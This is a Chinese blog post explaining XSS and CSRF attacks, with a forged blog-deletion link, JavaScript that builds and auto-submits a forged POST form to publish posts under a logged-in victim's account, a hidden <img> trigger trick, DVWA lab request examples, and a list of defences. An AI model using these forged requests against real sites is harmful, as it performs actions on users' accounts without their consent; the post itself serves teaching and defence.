CSRF跨站请求伪造攻击+案例分析

本文深入探讨了Web前端黑客技术,包括XSS跨站脚本攻击和CSRF跨站请求伪造攻击,详细解释了攻击原理及防范措施,旨在帮助用户了解并预防可能的网络威胁。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近在拜读《web前端黑客技术揭秘》,不是想学下三滥的手段,只是为了防止自己被骗。。。

由于采用了同源策略,所以想要实现跨站攻击,还是有一定限制的,但网络协议的自由也还是留下了很多漏洞。

XSS跨站脚本攻击和CSRF跨站请求伪造攻击是刚开始接触的攻击手段。

XSS:跨站,顾名思义,需要不同域的网站,例如正规网址是www.foo.com,而我们的恶意网站为www.evil.com

如何能够获取到正规网址的cookie,从而为所欲为呢?这里就需要跨站获取信息。

一般XSS分为三种:

(1)反射型XSS

这是暂时的,利用get 或者post参数实现,如果服务器端对我们的参数有回显功能,那么这就可以实现了

例如服务端对我们的请求会调用eval(arg)

那么我们只需要在http://www.foo.com?alert('I can do anything')  连接后加上我们要执行的js脚本,然后把该连接发给用户点击,就会执行后面的js脚本了。

(2)存储型

例如利用网站留言或者博客等功能,由于他们会持久存储,所以我们只要嵌入些恶意的代码,所有查看该留言或者博客的人都会被攻击了,庆幸的是现在知名的网站都不会让你那么容易做到代码嵌入,尤其脚本,几乎不可能,我也是小白,具体方法布吉岛了。


(3)DOM 

就是通过修改DOM节点,例如<img src="http://www.evil.com" /> 利用图像可以加在第三方资源。。。


另一种攻击就是跨站请求伪造

一般网址对html标签发出的跨站请求不会被同源策略所限制,应为我们经常借此加载第三方资源,例如img, script, css样式 和框架内容等。

这也给我们留下了一些后门。。

下面我简单举个例子。。。。很不道德的就拿博客举例子了。没有恶意,只是为了说明CSRF跨站请求伪造

(1)Get请求伪造

博客删除一般是采用get请求,后面加上文章id号,所以如果我们能构造一个连接带有删除的请求和id,同时用户已经在浏览器上登陆了博客,那么会利用自带cookie来实现跨站请求的伪装。

例如我有一篇草稿博客,它的删除请求是:http://write.blog.host.net/postlist/0/all/draft?t=del&id=11111111

Id指的就是文章id,只用用户去点击该连接那么。。。。。文章就被删除了,这里我们成功伪造了请求,删除别人的博客,不过很不道德。。

(2)Post请求伪造

一般文章的提交采用的是Post请求,所以我们可以帮别人写文章了大笑

我们经常看到自己的一些社交上莫名被发广告状态,也许就可以通过这个实现了。。。。

首先得分析实际的post请求信息

很简单,直接利用浏览器自带的开发者调试功能F12(chrome下)

点击network,清空当前内容,然后我们正常的提交一份博客,这时候会捕捉下所有请求信息,注意下post请求,一般就是我们要利用的请求。

如下图,我们看到post请求地址已经Post需要的信息,好啦,接下来就是利用这个来模拟post



var f = document.createElement("form");
    link = "图中用黄色荧光笔画出的地址,直接右键copy ,因为还有前面头信息没显示完全"

    // 这里定义一个函数,向form添加数据
    // 就是右边Form Data的键值对了
    function addData(fm, key, value){
    	var e = document.createElement("input");
	    fm.appendChild(e);
	    e.type = "text";
	    e.name = key;
	    e.value = value;
    }
    if (f) {
    	body = document.body;
	    document.body.appendChild(f);
	    f.method = "post";

	    addData(f, "titl", "test4");
	    addData(f, "typ", "1");
	    addData(f, "cont", "nihao");
	    addData(f, "desc", "");
	    addData(f, "tags", "");
	    addData(f, "flnm", "");
	    addData(f, "chnl", "0");
	    addData(f, "comm", "2");

	    addData(f, "level", "0");
	    addData(f, "tag2", "")
	    addData(f, "artid", "0")
	    addData(f, "checkcode", "undefined")
	    addData(f, "userinfo1", "121")
	    addData(f, "stat", "draft")
	   

	    f.action=link;
	    f.submit();	
    };


执行后,就可以发表出文章了。。。


最后补上一句,如何让别人去点击我们的连接呢?

加载第三方资源是个让人又爱又恨的家伙 

我们的网页嵌入<img src="我们的伪造请求"> 这就伪装的让人发现不了了

### DVWA 中 CSRF跨站请求伪造攻击)的相关信息 #### CSRF 攻击简介 跨站请求伪造 (CSRF) 是一种网络攻击方式,攻击者可以利用已认证用户的身份,在未经用户同意的情况下发送恶意请求。这种攻击具有很大的隐蔽性和危害性,因为整个过程可能在用户毫不知情的情况下完成[^1]。 #### CSRF 原理流程 为了成功实施一次 CSRF 攻击,需满足几个条件:受害者必须处于登录状态并持有有效会话;目标站点未部署有效的 CSRF 防护机制。一旦这些条件达成,只要受害者触发了由攻击者预设的动作——可能是点击某个链接或是加载特定网页内容,那么攻击便得以实现[^2]。 #### 实际案例分析-DVWA 平台上的 CSRF 模拟练习 以 DVWA (Damn Vulnerable Web Application)为例,这是一个用于测试和学习的安全漏洞平台。在这个平台上可以通过不同级别的难度设置来模拟真实的 CSRF 场景: - **Low Level**: 用户可以直接通过构造 URL 来更改其他用户的密码而无需任何额外验证。 ```http GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1 Host: 192.168.0.181 ``` - **Medium Level**: 此级增加了简单的 token 校验,但是这个 token 不是动态变化的,因此仍然容易受到攻击。 ```html <!-- HTML Form with static hidden input field --> <form action="http://192.168.0.181/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="user_token" value="static_value"/> New Password:<br> <input type="text" name="password_new"/><br> Confirm new password:<br> <input type="text" name="password_conf"/><br><br> <input type="submit" value="Change"/> </form> ``` - **High Level & Impossible Levels**: 这两个等级引入了更复杂的防护措施,如每次提交都会更新的一次性使用的随机 token 和严格的 Referer 头部检查等,使得攻击变得极其困难甚至不可能实现[^3]。 #### 解决方案与防御策略 针对 CSRF 的常见防范手段包括但不限于以下几个方面: - **使用 Anti-CSRF Tokens**:为每一个表单添加唯一且不可预测的令牌,并确保服务器端能够正确检验此令牌的有效性; - **检查 Referer Header**:确认请求确实来自预期的应用程序源地址; - **采用 POST 方法代替 GET**:虽然这并不能彻底解决问题,但在一定程度上提高了攻击门槛; - **增加 CAPTCHA 或二次确认步骤**:对于涉及重要数据变更的操作,要求用户提供进一步的人机交互证明[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值